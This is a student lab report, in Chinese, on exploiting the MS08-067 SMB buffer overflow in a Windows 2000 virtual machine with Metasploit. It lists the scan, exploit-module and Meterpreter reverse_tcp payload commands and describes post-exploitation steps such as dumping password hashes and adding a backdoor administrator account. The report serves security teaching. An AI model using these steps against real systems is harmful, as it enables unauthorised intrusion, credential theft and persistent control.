缓冲区溢出攻击与防范实验报告
- 格式:doc
- 大小:1.23 MB
- 文档页数:21
实验六报告
如图2所示的Windows 2000系统(虚拟机环境下)的计算机。显然这2台计算机处于同一个网段中,可以相互通讯,win10系统用作攻击机,下面将在此系统上运行Metasploit进行渗透测试,而Windows 2000系统都是本次任务中需要进行渗透入侵的靶机,保持安装后的默认状态,没有打额外的系统安全补丁。
图1 win10攻击机
图2 Windows 2000 靶机
2、扫描靶机
在正式开始渗透之前,应该对靶机进行扫描探测工作,搞清楚渗透目标的系统类型、开放的端口服务、可能存在的安全漏洞等。
在win10攻击机上运行metasploit console,即可进入Metasploit环境。
现在可以利用MSF框架中集成的Nmap扫描器对渗透测试目标进行扫描,如图3所示,获取了靶机的开放服务和操作系统类型等信息。
图3 windows 2000扫描结果
利用扫描器的脚步插件,还有可能直接探测出目标系统的安全漏洞,例如如图4所示,Nmap 利用smb-check-vulns插件扫描探测出了Windows 2000靶机存在MS08_067漏洞,命令执行如下:nmap -script= 。
namap扫描的结果里报告发现MS08-067:DISABLED。这是在暗示我们或许能够对这台主机进行渗透攻击,然后我们在Metasloit里面找到此漏洞的攻击模块,并尝试攻击目标机器。MS08-067是一个对操作系统版本依赖非常高的漏洞,所以在这里,我们只自动payload指定一下目标就可以确保触发正确的溢出代码。
图4漏洞扫描结果
3利用MS08_067漏洞渗透入侵
MS08-067漏洞的全称为“Windows Server服务RPC请求缓冲区溢出漏洞”,如果用户在受影响
的系统上收到特制的RPC 请求,则该漏洞可能允许远程执行代码。在Microsoft Windows 2000Windows XP 和Windows Server 2003 系统上,攻击者可能未经身份验证即可利用此漏洞运行任意代码,此漏洞可用于进行蠕虫攻击,目前已经有利用该漏洞的蠕虫病毒。防火墙最佳做法和标准的默认防火墙配置,有助于保护网络资源免受从企业外部发起的攻击,默认情况下能建立空连接。
既然已经知道Windows 2000靶机存在MS08_067漏洞,下面就在Metasploit环境中利用它进行渗透入侵。
首先,输入search ms08-067查找与其相关的漏洞攻击程序,并启用该渗透攻击模块查看基本信息,然后,输入use exploit/Windows/smb/ms08_067_netapi命令表示选择利用这个漏洞,如图5所示。
图5 选择漏洞
如上我们已经驾驭了(ms08_067_netapi)这个漏洞攻击程序,哈哈!接下来我们要找一找metasploit下的有效攻击荷载(payload),那就使用命令:show payloads来查找一下吧!
然后用set命令选择一旦利用漏洞渗透进去使用什么攻击载荷,这里使用MSF框架里功能强大的Meterpreter攻击模块下的反向连接shell载荷,使用命令:set payload windows/meterpreter/reverse_tcp,执行如图6所示。
图6 选择攻击载荷
完成渗透攻击模块与攻击载荷模块的选择之后,需要查看配置渗透攻击所需的配置选项,具体命令如下:show options
用show options命令查看还有哪些参数需要配置,根据目标情况配置渗透攻击的选项。如图7
所示:
图7 需要配置的参数
now,现在我们需要设置ip咯,设置命令:set RHOST set LHOST 配置本地攻击机和远程靶机的IP地址,如图8所示
图8配置参数
现在呢,我们基本已设置完成,接下来我们show一下看看自己的配置都在不确认一下信息:(看到了吧,我们的配置没问题吧!Ip都有了啊!!!)
图9 检查配置参数
所有需要的参数配置好了以后,在进行exploit渗透攻击时,会出现一些状况,有可能渗透不成功,需要在这时候谨慎。用exploit或run命令发动攻击,如图10所示,渗透成功后,设置的回连主机就是Metasploit攻击主机,攻击主机会获得一个meterpreter控制会话session。
图10 成功获取session
吼吼!!!成功了!!!已成功拿下对方主机,那么现在你要做什么呢好的,告诉你一句话:好戏开锣咯···是时候让你体验一下当黑客的感觉了!Hello,hacker还等什么呢好吧,废话少说,第一个“破坏”玩起!哈哈!
实例1 从靶机拿到的ipconfig/all,如图11
图11从靶机拿到的ipconfig/all 实例2获得系统当前的进程列表,如图12:
图12 windows2000进程列表
实例3:获得当前的工作目录和用户id,如图13:
图13 windows2000的工作目录和用户id 实例4:获得目标系统的password hash,如图14:
图14 windows 2000的password hash
实例5:获得目标系统的DOS shell,用了meterpreter的session后,即可用各种命令对远程靶机进行操作,如图15所示。
图15 获得windows 2000的DOS shell
实例6:那我就和靶机简单比较一下命令:ipconfig/all吧!!!
图16 shell拿到的windows 2000的ipconfig/all 从靶机拿到的ipconfig/all,如图17:
图17 靶机拿到的ipconfig/all
实例7 在目标靶机上新建了一个账号zmy和密码479(这里用的是我的姓名‘郑明毅’学号‘479’),并将其加入到管理员组。为后续的远程控制提供方便,如图18、19、20所示:(简单解释一下啊win10截图中所有问号问题:那是因为汉字编码问题:可能是UTF-8的缘故吧!!!)
图18 查看账号